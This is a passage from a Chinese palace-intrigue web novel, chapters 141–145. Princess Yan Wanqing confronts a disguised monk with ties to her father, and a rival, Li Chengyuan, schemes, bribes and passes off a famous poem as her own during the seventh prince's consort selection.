那个时候她的脸色也是这般平淡无波,两眼里都是处事不惊的稳妥。 那般境地之下她都可以游刃有余,更加不用说现在了。 李呈媛这样的货色,根本不够燕晚清玩几下的。 不过现在还不行,李呈媛留着还有用。 他那边的事情还需要李呈媛提供最后的图纸,一旦图纸到手,到时候这个女子就可以丢弃了。 想到这里,萧鸿深掩盖住眸底的厌弃,露出一个温和的笑容来。 “这件事情应该是有什么误会,李家向来是书香世家,自然不会出现姐妹间隙的事情,郡主还是不要胡乱插手比较好。” 又是这种冠冕堂皇的话,燕晚清听得十分不耐。 “这件事情,本郡主管定了。” 萧鸿深闻言眼底浮出戾气,上次事情之后,他元气大伤,眼下根本不是和燕晚清硬碰硬的时候,尤其还是因为其他人的事情,他心中闪过万千思绪,薄唇抿起。 “今日流水宴上都是陛下钦点的贵客,郡主应该知道事情轻重缓急,倘若真的在此时此刻闹起来,只怕皇后娘娘面子上也不好看。”这个时候搬出来了皇后张岚依来压燕晚清。 燕晚清听罢勾唇轻哼一声,不再看萧鸿深,反倒是将目光落在了李呈媛身上。 李呈媛被她看的毛骨悚然,却又觉得自己不该这般怯懦,于是挺了挺胸脯,站的笔直,却不曾想迎面便是一巴掌。 只听见从歌冷声呵斥。 “好大的胆子!竟敢直视郡主!” 这一巴掌下去,萧鸿深立刻蹙眉:“燕晚清你!” 燕晚清斜眼扫了他一下:“以下犯上,不该教训么?” 萧鸿深冷哼道:“竟然不知你如此刁蛮。” “本郡主行事作风如何,与殿下并无干系。”说着燕晚清朝着李呈媛走了几步,声音清浅,看着她捂着自己的脸,满眼都是记恨,她轻蔑的勾了勾唇:“李家三小姐,这一巴掌还算是轻的,你应该明白本郡主是什么意思。” 说完,她拉着李呈祥朝着里面走去。 萧鸿深看着那一抹水蓝色的身影,眼底闪过疑惑:“她是什么意思?你什么时候和安平郡主结仇了。” 李呈媛赶紧放下手,低头:“会禀殿下,没有的事情,定是小女的姐姐从中作梗,郡主对小女才产生了误会……” 萧鸿深懒得继续听,看着尚书和几个官僚从门口走进来,他便直接不耐的摆手道:“你自己解决。”说着他头也不回的离开。 留下李呈媛一个人站在原地,恶狠狠的跺了跺脚。 该死的李呈祥。 命真大! 竟然还勾搭上了安平郡主。 这安平郡主也不像传闻中那样不食人间烟火,这一巴掌下来足以证明她是个十足不好相与的主。 李呈媛眼中闪过思虑。 今日流水宴对她而言是个机会,她一定要把握住这个机会才行。 萧鸿深心狠手辣,习惯过河拆桥,她必须得找个机会,让他没有办法再将自己抛下。 想到这里,李呈媛也顾不得脸上的红肿,转身朝着外面走去。 另外一边,燕晚清带着李呈祥穿梭在女眷当中,游刃有余的跟她们说说笑笑,看到李呈祥不再那般怯懦和人相处,她才退到了一边,从侍从的盘子里端走了一杯佳酿,放在唇边浅浅的饮了一口。 “看来郡主身上的毒素已经清干净了。” 燕晚清听到了一道男声,她环顾四周,却没有发现人。 “我在这儿。” 那声音又凑近了几分。 燕晚清这才看到一个模样娇媚的宫娥,穿着一身艳红色的宫装站在自己面前,手里捧着一瓶佳酿。 “你是何人?” 燕晚清心生警惕,竟然会知道自己身上的毒被解了。 那宫娥掩唇轻笑。 “有过几面之缘,郡主的忘性真大。” 燕晚清敛眸,眼底闪过杀意:“如此装扮,躲躲藏藏的,打的究竟是什么主意,不如直说。” 宫娥见她还没有想起来,叹了一口气,状似忧伤,只是眼底的笑意怎么都掩盖不住。 “南山脚下,郡主还曾送给……贫僧,一个大礼呢。” 贫僧二字被他咀嚼在喉间。 燕晚清心思一堵,立刻将视线看向了高位之上陪着年迈皇帝坐着的皇后。 她再回眸看向宫娥,脸色已经阴沉了大半。 二话不说,燕晚清拽住了宫娥的手。 “你跟我出来。” 第一百四十一章 女子共情,不值一提 丛林阴翳。 燕晚清目光冰冷直视面前身材娇小的宫娥,言语中都是警告。 “你可知这里是什么地方。” 虚无仰头往自己的嘴里灌了一口酒:“来了好几天了,自然是知道的。” “她让你跟着过来的?”燕晚清又问。 听着她咬牙切齿的语气,虚无点点头:“不然贫僧要如何躲过这些人的追捕。” “……”燕晚清只觉得天灵盖都要被掀开来了。 她自己到底选了一个什么样子的盟友,堂堂一国皇后,和寺庙里的僧人纠缠不清就算了,还将其打扮成了宫娥的模样带在身边!!! 是不是她判断有误? 燕晚清脑海中闪过无数个想法,最后化为一种。 虚无看着她逐渐冷戾的双眸,轻笑:“怎么小子?你还想对贫僧下杀手不成?!” 燕晚清抿住粉唇不说话。 虚无无奈的摇了摇头:“这可不行,不然等你百年之后下去见到你父亲,他怕是要不认你的。” “跟我父亲有什么关系?” 虚无神秘的眨了眨眼睛:“那一定是有关系的,本来今日想告诉你的,但是你小子不识抬举,竟然想对贫僧动手,实属是大不敬,贫僧不高兴了,决定不告诉你了。” 说着虚无拎着酒壶就要往丛林深处走去。 燕晚清哪里肯。 素手一翻,便是犀利的掌风从虚无的身后窜出,背对着她的虚无唇角勾出一抹轻笑,随即转身迎了上去。 两掌相对,虽然不带任何的杀伤力,但是这一刻,丛林的灌木的叶片都以中心呈涟漪状,猛地向四周散开! 好熟悉的内力! 燕晚清双眼都是震惊。 “你,你和宋化虚有什么关系?!” 这套内力,分明就是宋化虚独有的功夫。 而且从不外传! 燕晚清两世为人都只在宋化虚身上见到过。 就连她这个亲传大弟子,都没有得到过这套内力的传承。 虚无为什么会有? 她眼中的急切,似乎愉悦到了这个和尚。 “想知道?” “废话!”燕晚清抬手:“不说,就打到你说为止!” 她看得出来,虚无是个高手。 这种高手与高手之间的对决,只会让她燕晚清周身热血沸腾。 虚无看出来这丫头的战意,抬手挥了挥手,四两拨千斤,将她的攻势悉数打了回去。 “有功夫管贫僧是谁,不如回去盯着宴会,今日宴会可不简单啊。” 燕晚清只知道眼前的这个虚无,南山寺的方丈,和她的盟友、师父,乃至她的父亲都有说不清道不明的关系。 更加不会放他走了。 只是见招拆招之下,动静越来越大,燕晚清也意识到这里不是一个很好的场所,于是她停下了手。 “这就对了嘛。”虚无穿着宫装,一身狼狈,若不是自己锁骨成了女儿家的模样,也不至于被这丫头缠到现在脱不开身,他练练叫苦:“你这丫头真是一身反骨,难怪你爹要给你下毒。” 这话一说,迎面便是一记毒针。 虚无险险的捏住,只见那针尖之上泛着幽冷的光,一看就是见血封喉的毒药! “好狠的丫头。” 燕晚清双眸粹冰。 “今日倘若你不说出个所以然,别想回到她的身边。” 父亲给她下毒这件事情,知道的人没有几个。 她不管虚无是从哪里知道的,今日势必要搞清楚他的身份,不然宁可错杀一千,也绝不放过一个! 眼底的杀意越发的浓郁,她已经打算喊来暗卫速战速决了。 就在这时,虚无无奈的摇了摇头,他将手里打斗都舍不得丢掉的佳酿悉数灌在喉间。 紧接着便是骨骼噼里啪啦的一阵响,宫娥的衣服悉数被他崩裂,露出健硕的上身,他抬手摘掉了自己脑袋上的假发,露出光滑锃亮的头颅。 再抬眼看向燕晚清的时候,只看见一只眼竟然呈现出紫色的光泽。 竟然是异瞳! 燕晚清更加大为震惊。 “大可不必闹成这个样子。”虚无轻叹一口气,将空掉的瓶子丢在一边,瓶身瞬间碎成了无数块。 虚无缓缓转过身,原本光洁的右边板块后背上,竟然开始出现了老鹰的图腾,随着他周身皮肤变红,那老鹰振翅高飞,竟然好似活了过来一般! 看到这副场景后,饶是冷静如常人的燕晚清,也经不住往后踉跄了一步。 “你,你……你怎会……” “怎会跟你父亲有一样的图腾是么?”虚无接过了她的话茬。 燕晚清双眸里都是难以置信,目光灼灼的盯着虚无。 等待一个答案。 虚无朝着她走近几步:“小子,想听故事么?” 燕晚清连忙点头。 自然是想的。 她的心中有太多疑惑了。 可是就在这时,宴会上听到动静的侍卫找了过来,燕晚清和虚无对视了一眼,最终虚无闪身消失在丛林间。 侍卫们巡查看到燕晚清坐在台阶上,脚边是四分五裂的酒壶,急忙上前。 “安平郡主,发生了何事?” 燕晚清摆了摆手:“无事,思念故人罢了。” 短短一句话,侍卫们便联想到了前因后果,看向她的目光也带着悲悯。 堂堂镇国府邸,满门英魂,最终只留下了一群女流和一个稚子,闻着叹息流泪啊。 燕晚清却满脑子都在响彻虚无临走前说的一句话。 “按照辈分,你得喊贫僧一声叔叔。” 叔叔……那他岂不就是父亲的兄弟。 可是父亲不是独子么? 燕晚清想不明白,恨不得立刻回京找母亲孙青莲问清楚心里才舒服。 “郡主,山间凉,宴会就要开始了,还是请您先回去吧。”身边传来侍卫的声音。 燕晚清嗯了一声,点点头,抬脚朝着来时路走去。 熟不知她浑浑噩噩的背影落在侍卫们的目光中,又变成了另外一种意思。 侍卫中有人目光灼灼的盯着她的背影,满眼的星光却最终在丛林山涧中化为了死寂。 燕晚清回到宴会上时,大家都已经落座了。 因为皇帝和皇后同时都在,避暑山庄内又大多是家庭参宴,便没有分出男女席来,众人在溪水的两旁围坐着,宫娥便将美食佳肴放在托盘上顺着溪水往下而去,想要吃什么,贵人们便和身边的丫鬟宫娥说一声,便会被捞上来放在自己的面前了。 “晚清,到本宫这里来。”皇后温声说道。 燕晚清低眉顺眼的走了过去。 皇后身边的丫鬟便将软垫重新铺好,这是一早便给她留好的位置。 皇帝看见了冲着皇后笑着说道。 “竟不知皇后和这丫头的关系这般好了。” “陛下见笑了,只是上次一别,一见如故。”张岚依敛着眉眼说道。 皇帝便想到了张岚依的身世,于是说道:“你们之间确实有几分相似之处。” 女子之间可怜的共情罢了,不值一提。 第一百四十二章 七皇子选妃,酸儿辣女 皇帝今日辟谷,对于眼前的这些美食佳肴没有半点兴趣,便一直都在饮酒。 突然想到什么,他问道:“孙贵妃今日为何不曾出席宴会?” 张岚依笑着说道:“陛下您忘了?贵妃妹妹要生了,今日天气炎热,臣妾便做主没让她参宴,免得累坏了她肚子里的宝贝疙瘩。” 皇帝似乎是想到了孙涟漪肚子里的龙子,十分高兴,唇角带上了几分笑意。 自己老当益壮,孙涟漪现在都要生了,说明了自己身为男子的本事。 “朕是老糊涂了,竟然忘记了这件事情。”说着他一招手:“去将宴会上的吃食挑选几样送过去给贵妃解解馋。” “那陛下可要多挑些酸的吃食呢。”张岚依笑道。 老皇帝一听心中更加得意了:“好好好,朕亲自挑选。”说着竟然真的站起身来,选了好几样吃食让宫娥送了出去。 宴会之上一派祥和,皇帝老来得子,表面上是春风得意的。 但是这一幕落在七皇子萧鸿深的眼中却变了滋味。 他好不容易挤到了现在这个位置。 好不容易把太子萧蘋风给弄到了战场上不能回京。 但是眼下孙贵妃肚子竟然是个皇子? 他眼中闪过浓重的思虑。 眼下还在腹中,父皇就如此喜爱。 若真是出生了,是个皇子……那么父皇又会如何作为? 萧鸿深不安的舔了舔唇角,将杯盏中的酒水一饮而尽。 身边的李呈媛见状,赶紧宽慰道:“殿下,酒烈少饮为好啊。” 萧鸿深不耐的甩开了她的手,示意身边的宫娥继续倒酒。 李呈媛被甩开,注意到其他家贵女投来轻蔑的笑,她的脸上也挂不住了,当下便自顾自的去喝酒吃菜去了。 很快歌舞升平中,宴会达到了一个极致热闹的时刻。 皇帝突然放下了酒盏,说道。 “朕好像记得,老七到现在都还没有立王妃吧。” 萧鸿深被突然点名,赶紧起身:“回父皇,儿臣一心都在江山社稷,年龄尚幼,不急于一时。” 皇帝听到这个回答,直接摇头摆手:“说的什么话,一屋不扫何以扫天下?男儿就是得先成家再立业。” 他说着,环顾了一下流水宴上的诸位,一锤定音:“今日朕的爱卿们和他们的贵女们都在,不如就让皇后为你举办一场选妃吧,朕也想看看究竟是什么样子的女子,最终能得到吾儿的青睐。” 张岚依起身颔首:“臣妾领命。” 皇帝又说道:“朕的这个儿子,都已经二十好几了,别说子嗣了,连个王妃都没有,像什么样子,朕像你这么大的时候,早就生了你了。” 众目睽睽之下,萧鸿深不敢再拒绝,只敢点头称是。 一听皇帝皇后要当场给七皇子选王妃,贵女们无不热血沸腾起来。 坐在七皇子身边的李呈媛更是激动的不能自已。 倘若在这个宴会上,当着皇帝和皇后让七皇子定了自己,往后他可就不能再反悔了。 这样想着,李呈媛的眼里都是势在必得。 张家的小姐张念一直拉着自己闺中密友王可人的手:“这可是七皇子妃,你真的不参加吗?倘若你去的话,这群人哪个比得上你啊。” 王可人羞涩的摇了摇头。 张念看着那群贵女们蜂拥而至到皇后身边的嬷嬷那边报名参加,各个摩拳擦掌待会儿的才艺展示,有些不解:“为何?你不喜欢七皇子?还是说你心里已经有喜欢的人了?” 王可人脸上迅速泛起红晕。 张念咋舌:“是哪家公子?好啊你,竟然藏着秘密。” 王可人赶紧躲着闺中密友的攻击,就在这时王夫人走了过来,她的脸色迅速白了下去:“母亲。” 张念见王夫人来了也不敢再闹了,老老实实的行礼:“见过夫人。” 王夫人冲着张念点了点头:“张家小姐,我们母女有些体己话要说……” 张念赶紧开口道:“正好我父亲也在找我,你们聊。”说着她朝着冲着自己招手的张大人那边走了过去。 王可人一看见母亲的脸,便知道她要说什么:“……母亲,女儿不想去。” “这件事情容不得你想不想,你父亲已经年迈,现在还不过是个小小的侍郎,倘若你能够当上七皇子妃,对你父兄仕途而言是很大的帮助的,现在外面都传——”王夫人压低声音凑到了王可人的耳边说话。 王可人听罢眼中闪烁一道亮光,她眉头紧皱。 王夫人叹了一口气:“横竖女儿家都是要嫁人的,你嫁给谁都不如去嫁给七皇子。” 王可人看着王夫人离开的背影,陷入了愁思当中,目光刚好落在了不远处自己的好友张念身上。 只见她脸颊酡红的从报名处走了出来。 王可人见状拧紧了手中的帕子。 …… 张岚依看着下面报名热切的各家贵女,唇角撇了撇。 眼下最冷门的七皇子萧鸿深竟然成了京都女儿家上赶着要嫁过去的乘龙快婿了。 这事儿要是再早几年,她张岚依第一个不信。 正想着,身边人拨好了一颗葡萄放在了她的碟子上。 张岚依抬眼便看见燕晚清正在给她剥第二颗,她一改之前慵懒的坐姿:“你这是做什么?” 燕晚清剥好晶莹剔透的葡萄,似笑非笑:“娘娘说笑了,剥葡萄而已,娘娘最喜欢吃葡萄了不是吗?” 张岚依见她双手拽下一颗葡萄,三下五除二的剥好放在碟子上,不一会儿便摞成了小山,忍不住咽了咽口水。 “娘娘不吃么?”燕晚清那边就着宫人端来的水净手。 张岚依讪讪地一笑。 她知道今日虚无要去找燕晚清的事情。 定是那秃子没有把事情解决好。 导致现在这小丫头将气撒在自己身上了。 张岚依自知最近小丫头为了自己在朝中势力忙前跑后,又是金钱又是人力的,亲力亲为,她自知理亏,只得用小叉子将葡萄一颗颗的插起来吃下。 刚吃一颗,便被酸的皱起了眉头。 夭寿了,谁把这么酸的葡萄送上了宴会了! 张岚依刚想放下叉子,便听见身边清冷的像是小鬼催魂的声音响起。 “娘娘,小女剥的葡萄不合您的口味么?” 张岚依甚至都不敢看她的表情,连着将小叉子插起两三颗葡萄塞进了嘴里,酸的眼眶都带泪了。 “本宫最爱酸葡萄了,越酸越好,尤其是晚清剥的,更是可口呢。”张岚依带着盈盈粉泪说道:“只是这是宫人们干的事情,你一个郡主不要再弄了,这点便够了。” 燕晚清皮笑肉不笑:“娘娘喜欢才是最重要的,小女不受累的。”说着手已经伸向了旁边的荔枝,俨然是要剥一盆的气势。 张岚依:“……”又酸又甜,这吃完牙还能要吗? 第一百四十三章 换个口味,七皇子最近吃素 好在是宫人将报名参加选妃的花册呈了上来,皇后张岚依逃过一劫。 “参加选妃的姑娘们倒是真的不少,张家的,王家的李家的,京都里有头有脸的都在里面,但是也有些微妙。”张岚依说着将花册递给了燕晚清。 燕晚清只是简单的扫了一眼,便心中了然。 无非是真的有实力的家族,只让家中小女参选罢了。 真正的嫡长女是没有在上面的。 而那些稍微没落一点的,便依稀能看见一些嫡长女在册之上了,比如张家和王家。 燕晚清没有说出声,那边和妃嫔嬉戏玩闹回过神的皇帝,见皇后手中已经有花册了,当下笑道:“皇后的办事能力就是好,这才多久,花册都已经呈上来了,来给朕瞧瞧。” 打开花册,皇帝眯起眼睛。 “哦哟,还真不少。” 密密麻麻的都是贵女们的名字。 看着看着,皇帝就眯起了眼睛,似有若无的看向了萧鸿深:“朕记得你家里好像还有个叫云歌妓子,你以后是要娶皇妃的,这种烟花巷出来的女子,便不要留在家中了,不要惹得你未来的皇妃不高兴。” 萧鸿深听到这话只得低头:“父皇说的是,儿臣回去便遣人见她送到外面庄子上去。” 当初留着云歌不过就是因为她是林嫣然,为了她手里的那本账本,谁曾想这个蠢妇竟然真的不知道账本的事情,如此这般也没有必要再留着她了。 皇帝很满意萧鸿深的懂事。 合上了花册,重新递给了皇后张岚依:“既然是这样,便交由皇后全权负责吧,相信以皇后的贤良淑德,一定可以替你娶一个如意皇妃。” 这皇家选妃并不是简简单单的跳个舞亮个相便可以的,最初的便是要观相貌,察身体,这第一关便是由皇后身边的贴身嬷嬷去做,嬷嬷同意留下来的才能够在七皇子和皇帝面前表现自己。 半个时辰前。 稍显昏暗的房子里,有贵女正在穿戴衣服。 李呈媛在人群的最后方,神色不明的盯着前面正在给贵女们检查身体的嬷嬷们。 她一直磨磨蹭蹭的等到了最后。 嬷嬷看着还有个人鬼鬼祟祟的站在屏风后面,便喊道:“你是干什么的?!” 李呈媛这才走了进来。 她将手里一早就准备好的荷包塞进了嬷嬷的手里:“回禀嬷嬷,小女是李家的三小姐。” 嬷嬷手里被塞了个荷包,看了看其他几个嬷嬷,那几个嬷嬷便懂事的离开了。 李呈媛这才松了一口气。 嬷嬷掂量着手里的荷包:“李家的三小姐?” 李呈媛露出羞怯的一笑:“对。” “你这是何意?”嬷嬷状似不解的说道。 李呈媛满脸通红,示意嬷嬷凑耳朵过来。 嬷嬷眼中闪过不耐,但是看在钱的份儿还是凑了过来。 “其实……小女早就是七皇子的人了。” 李呈媛说完这句话后,原以为嬷嬷会大惊失色对自己特别尊敬,可是谁曾想她十分淡定的将手上的荷包塞了回来。 “像你这样的说辞,前面没有五个也有三个。”嬷嬷冷哼着上下打量了一下李呈媛:“说谎也说的像样点,你没屁股没腰的,七皇子怎么会看得上你。” “你!”李呈媛一时气急。 又见嬷嬷冷笑道:“你可知七皇子府上的女子云歌?那曾经可是京城第一美女,七皇子若真的看上你了,只能说明一件事情。” “什么事情?”李呈媛抿着唇,她的心里十分窝火,但是碍于这嬷嬷是皇后的人,只能按捺住自己的性子。 “说明七皇子这阵子换口味了呗。”嬷嬷自说自话的十分高兴。 李呈媛脸色铁青。 她在怀中又掏了掏。 嬷嬷见状无奈的说道:“都说了七皇子选妃十分严格,你哪怕是通过了嬷嬷这一关,那到了七皇子那边也是不行的,给再多的银钱也不行,你要是不检查就出去吧,嬷嬷还要去和皇后娘娘说明情况呢。” 只看见一枚玉佩直接贴着嬷嬷的面前。 嬷嬷吓了一跳,往后退了半截,才看清楚这玉佩上面,赫然有个“深”字。 “这个嬷嬷总该认识吧?” 李呈媛本来不想掏出这块玉佩的,但是谁曾想这个老顽固死活说不通。 嬷嬷大惊失色:“竟然真的是七皇子的玉佩。” “这是七皇子殿下的贴身玉佩,他将这块玉佩交予了小女,这还不足以说明小女和七皇子殿下之间的关系吗?”李呈媛说这话的时候,神色都有些得意洋洋。 没有办法,强权就是这么让她如痴如醉,等到她真的成了七皇子的皇妃。 再帮助七皇子登上皇位,那么她就是一人之下万人之上的皇后了。 届时看看谁还敢低看了她。 李呈媛心中不由得有些激动起来。 嬷嬷的态度果然和之前一百八十度大转弯,对李呈媛开始热切起来。 李呈媛将手里的荷包重新塞在嬷嬷的手里。 “现在,嬷嬷可以在花册上加上我的名字了吗?” 嬷嬷双手接过荷包,笑嘻嘻的说道:“自然是可以的,等到小姐往后飞黄腾达了可不要忘了老奴啊。” 嬷嬷收了钱,麻溜的在花册上加上了李呈媛的名字。 李呈媛办成了这件事情,心里舒坦多了。 以她和七皇子这几日的关系,七皇子肯定是会选她的。 只是刚出门,便被之前几个交好的尚书家的小姐给堵住了。 “李呈媛,你竟然还有脸来参选七皇妃。” 尚书家的小姐自从上次的事情之后,被家母禁足,一直到今日才被放了出来,想到了罪魁祸首李呈媛,心里咬牙切齿,赶紧带上了小姐妹过来要个说话。 “哎呀呀,大家都是姐妹,何故这般大的火气。”李呈媛笑嘻嘻的说道。 “什么姐妹?!你上次分明说李呈祥就是个不讨人喜欢的怂包,可是为什么安平郡主和皇后娘娘会替她出头?!你可知我们四个被你害得有多惨!” 越说尚书小姐就越来气,恨不得直接给面前的李呈媛两巴掌心里才舒坦。 李呈媛也不是吃素的。 她向来喜欢武力征服一切,几个千金大小姐,她还没有放在眼里。 “本小姐记得,花册里也有你们几个的名字是吧?”李呈媛露出阴恻恻的笑容来。 第一百四十四章 名字,再一次出现了 李呈媛费了一番功夫,将四个千金小姐打晕了给塞进了无人问津的房子里,然后将房门上锁,大摇大摆的走了出去。 七皇子的选妃盛典正式开始了。 已经有贵女开始在台上展示自己的才艺。 琴棋书画取其一,但是要讲究一个“雅”字,说难也不难,但是说不难,要刚好戳中其中奥义,让诸位贵人对自己刮目相看,也是要费一番功夫的。 燕晚清对此没有半点兴趣。 她纯就当做是欣赏歌舞表演。 但是谁承想有人不打算放过自己。 看到念花册的宫人着急忙慌的跑上来,她挑了一下眉头。 张岚依一把将花册给摊开,好巧不巧,最后的位置被添上了燕晚清的名字。 “到底是谁干的?”张岚依怒不可歇的说道,她压低自己的声音看着宫人,眼神中都是问责:“这个花册也就经过了你们的手,刚刚还没有郡主的名字,到底是谁加上去的。” 宫人根本不知道,慌张的摇了摇头。 燕晚清叹了一口气,从旁边取出一颗荔枝,拨开壳子,直接掐着果肉,滴出了汁水,将那三个小字悉数浸润,直到墨汁儿模糊,她才平淡的回过身躯去净手。 “不是什么大不了的事情,皇后娘娘不必为这种事情动怒,哪怕是真的喊了臣女上去,也没什么大不了。” 皇后将花册重新交给宫人:“你胆子很大,可知道这花册弄污浊了,该当何罪?” “这一轮过后,又该换新的花册了,至于旧的,谁会在意?”燕晚清压根没有当回事。 “你都已经是许配给北疆小侯爷的人了,谁这般不长眼,在这种时候加上你的名字。”张岚依越想脸色越不好:“真是不知死活,非要过来触本宫的霉头。” 燕晚清见她说孩子气的话,叹了一口气:“娘娘不必动气,横竖是伤不了你我之根本,娘娘不如将心思放在七皇子选妃上面,务必给七皇子殿下选一个贤良淑德的皇妃出来,这样陛下才会高兴。” 张岚依知道这小狼崽子心里憋着坏,她这才心里舒坦了一点,将这件事情抛之脑后。 台下歌舞升平,贵女们使出十八般武艺,每一个人的展示都让人拍手叫绝。 但是最让士大夫们感叹不已的还是李家的三小姐李呈媛。 这个名不见经传的小姐,没有选择跳舞弹琴,而是直接站在台上,七步成诗,字字都称得上是千古绝唱! “君不见黄河之水天上来,奔流到海不复回。 君不见高堂明镜悲白发,朝如青丝暮成雪。 人生得意须尽欢……与尔同销万古愁。” 这一首敬酒诗直接将文人墨客的心中的慷慨激昂给激发出来了,就连喝的醉醺醺的皇帝心中也生出了几分壮志凌云的感觉。 “好!好一个君不见黄河之水天上来!”皇帝高举着酒盏,带着众人起身,他一饮而尽,将酒盏摔在地上:“好诗好诗啊!这是哪家的小姐,竟然能够吟诵出来这等雄心壮志的诗句来,朕要亲自看看她。” 听到皇帝要亲眼看看自己的消息,李呈媛兴奋的不能自已,她努力压抑住情绪,在宫人的带领之下,走到了上位者的帷幔之后。 她看到了肥胖臃肿的皇帝,看到了娇艳美丽的皇后还有他们身边的一群妃嫔宫娥,以及人群中双眼古井无波的安平郡主燕晚清。 她为什么也在? 李呈媛心中咯噔一声,总觉得燕晚清出现在这里没好事。 “你就是吟诵出这种奇诗的李家小姐?”皇帝威严的声音从上面传来。 李呈媛被宫人催促着低头跪拜,然后又被宫人搀扶起来。 “回禀殿下,正是小女。” “没有想到李爱卿竟然能够生出如此境界的女儿,朕真的是小看他了。”皇帝大手一挥:“有赏。” “谢陛下。”李呈媛再次跪拜。 皇帝看着李呈媛娇小的身影,朝着七皇子萧鸿深招了招手:“这女子吾儿觉得如何?” 李呈媛的心直接提在了半空中。 萧鸿深与李呈媛相处了一段时间,知道她博古通今,懂的奇门遁甲,但还是第一次看她展露自己的文采,竟然还如此出众,得到了父皇的赏识。 他本来没有想到李呈媛这等小门小户的女子,也能通过皇后身边嬷嬷的把关,她跟自己的时候,分明就已经不是那个处什么子了。 他堂堂一个皇子,怎么能够娶这种不干不净的女子当皇妃? 玩玩便是,哪里能配得上他正妻的位置。 萧鸿深心中膈应的很。 但是又不能直接说出来,他那边还需要李呈媛继续帮忙。 只得含笑点了点头说道:“文采斐然,朝中鲜有敌手。” 皇帝一听,来了劲:“吾儿竟然也是这样觉得,此女子有大才啊。” 李呈媛被父子俩夸得心跳加速,不由得有些飘飘然来。 就在这时,皇帝将目光投在了旁边安静看戏的燕晚清身上:“不过也不是没有敌手,咱们的安平郡主也是出了名的才女,没准还真的能够对上一对呢。” 这话一出,在座的人无一不愣住了。 燕晚清慢条斯理的开口道:“陛下,今日乃是七皇子的选妃宴,陛下若是要看安平和李三姑娘对诗,也该挑个别的日子,只不过安平也提前卖个乖,李三姑娘七步成诗,堪称绝唱,安平自愧不如,到时候输了,陛下可不要对安平失望啊。” “哈哈哈你小子,从小到大,一张嘴就没有人能说的过你的。”皇帝朗声笑道。 燕晚清端起桌子上的酒盏,双手端起:“今日扫了陛下的兴致,安平自罚一杯。”说着仰头一饮而尽。 皇帝见状也不再多说什么了。 在座的各个都是人精。 皇帝突然发难,安平郡主三两句便化解了自己的危机。 虽说女诸葛名声在外,但是这李三姑娘的七步成诗也是不容小觑,很难再赢,万一输了,丢的可不只是镇国府的脸面,燕晚清的郡主是陛下亲封,真要是输给了李三姑娘,只怕是到时候还要面临皇帝的责罚。 所以对诗这件事情,根本就是个吃力不讨好的事情,安平郡主不掺和进来才是明智之选。 李呈媛得了赏赐,又被皇帝恩准能够坐在上面继续观看下面的选拔,心里有些飘飘然起来。 而她旁边的萧鸿深从头到尾眼神都十分的阴翳。 直到第二轮选完的花册再次被呈现给张岚依,她终于是忍不住,想要直接摔烂面前的杯子,却被燕晚清一把摁住了。 “简直是岂有此理!” 这一轮的花册,竟然还有燕晚清的名字。 三个字放在正中央。 可是谁都知道她根本就没有参加。 写上她名字的人简直是其心险恶! 这要是被皇帝看见了,指不定又是一番猜忌。 “无妨。”燕晚清将手腕上的绸带接下来,缓缓的缠绕在了自己额头上,将自己的碎发悉数绑住,她镇静的看着皇后说道:“既然暗处的人想玩,那便陪他玩吧。” “娘娘不是一直想要看臣女的青蛇剑舞么?”她勾起粉唇,笑容中带着少年时代的意气风发:“今日,娘娘有眼福了。” 第一百四十五章 安平郡主,沦为陪衬 张岚依微微蹙眉,看着燕晚清。 碍于皇帝在,她不好直接说。 安平郡主一直都是病弱示人,今日倘若在大庭广众之下舞剑,按照皇帝猜疑的性格,定会又有动作。 张岚依有些想不明白。 但是她选择什么都不做,安静的看着。 因为她知道,燕晚清的每一个举动都是经过深思熟虑的,倘若她打算暴露自己,那么她至少准备了一千个法子来圆回来。 这样想着,张岚依撇过头去和身边的嬷嬷说道。 “去把本宫的惊鸿取过来。” 燕晚清这边收拾好了自己,眉眼弯弯的突然看向了李呈媛。 “李三小姐才情出众,一首敬酒诗听得人热血沸腾,让本郡主不由得怀念起当年征战沙场时的情景……” 燕晚清的话让李呈媛倨傲的昂起了下巴:“郡主谬赞,拙作而已,不值一提。” 好一句不值一提。 燕晚清闻言眼中笑意加深:“李三小姐当真是个妙人。” 此时嬷嬷已经取来了惊鸿剑递给了燕晚清。 燕晚清也不推脱,将惊鸿稍微出窍,才发现从来没有开过刃。 李呈媛见她装扮飒爽,又拿出了长剑……这是要舞剑? “早就听闻郡主青蛇剑舞天下无敌,今日郡主手持长剑,是要再现当年?”李呈媛不由得问道。 她早就注意到自从萧鸿深挪座过来后,目光总是似有若无的飘到对面去。 再看见燕晚清颔首后,她迅速想好了对策。 “只是舞剑不由得有些乏味,不知小女可否自荐替郡主伴奏?” 燕晚清破含深意的看了她一眼,没有拒绝:“没有想到李三小姐还会弹琴,如此甚好。” 李呈媛稍显羞涩的勾了勾唇:“郡主不嫌弃便好。” 两个人一来二去说的话,都被周围人听了进去。 皇帝本来喝的醉醺醺,但是身边的妃嫔凑到他的耳边说燕晚清要舞剑的时候,还是让他提起了兴趣。 “哦?安平终于要拿剑了?” 燕晚清冲着皇帝执剑行礼:“贵女们表演才艺应该都累了,李三小姐一首君不见黄河之水天上来,让安平心中激荡不已,这才手痒,还望陛下恩准李三小姐为安平弹琴助兴。” “这都多少年了。”皇帝眼中闪过了回忆,他手持酒盏轻叹道:“五六年了吧,这还是你第一次要在人前舞剑呢。” “准奏!” 皇帝大手一挥,宫娥便去将李呈媛要的琵琶给送了上来。 众人便眼见着燕晚清和李呈媛到了台子上,不由得心中一惊。 李呈媛环顾四周,心中冷哼一声。 舞剑? 她会让这个安平郡主知道什么叫做陪衬。 李呈媛缓缓坐下,手持琵琶半遮面,姿态优美至极。 燕晚清也是面纱遮面,在琵琶声的瞬间,剑鞘弹了出去,一把惊鸿犹如灵蛇一般在空中划过优美的弧度。 不得不说李呈媛的琵琶弹奏的十分有水准。 若说刚刚的一首诗是将众人心中的激荡志气激起,那么此番琵琶声下,萧瑟孤寂,沙场秋点兵之感夹杂着漫天黄沙,瞬间将众人拉到了战场之上! 声断弦绝! 铮铮入耳! 这是从未有过的曲乐,众人无不满含热泪沉静在这一声声的琵琶当中,就连刚刚对于李呈媛抵触的萧鸿深,此刻也皱着眉头一直盯着她。 就在最后一刻,琵琶弦断,画龙点睛,那一声断弦之声回荡在溪流之上,久久不绝于耳。 鸦雀无声…… 李呈祥在人群中,双眼震惊的盯着舞台上的李呈媛,仿佛从来没有认识过她一样。 三妹她……何曾学过这些? 不光是之前的那首君不见黄河之水天上来,还是现在这首琵琶弦断的曲子,她都从未听说过李呈媛会。 看着台子上那个神情中掩不住倨傲的李呈媛。 李呈祥抿住嘴唇,双手在这一刻变得冰凉。 她根本不是自己的三妹…… 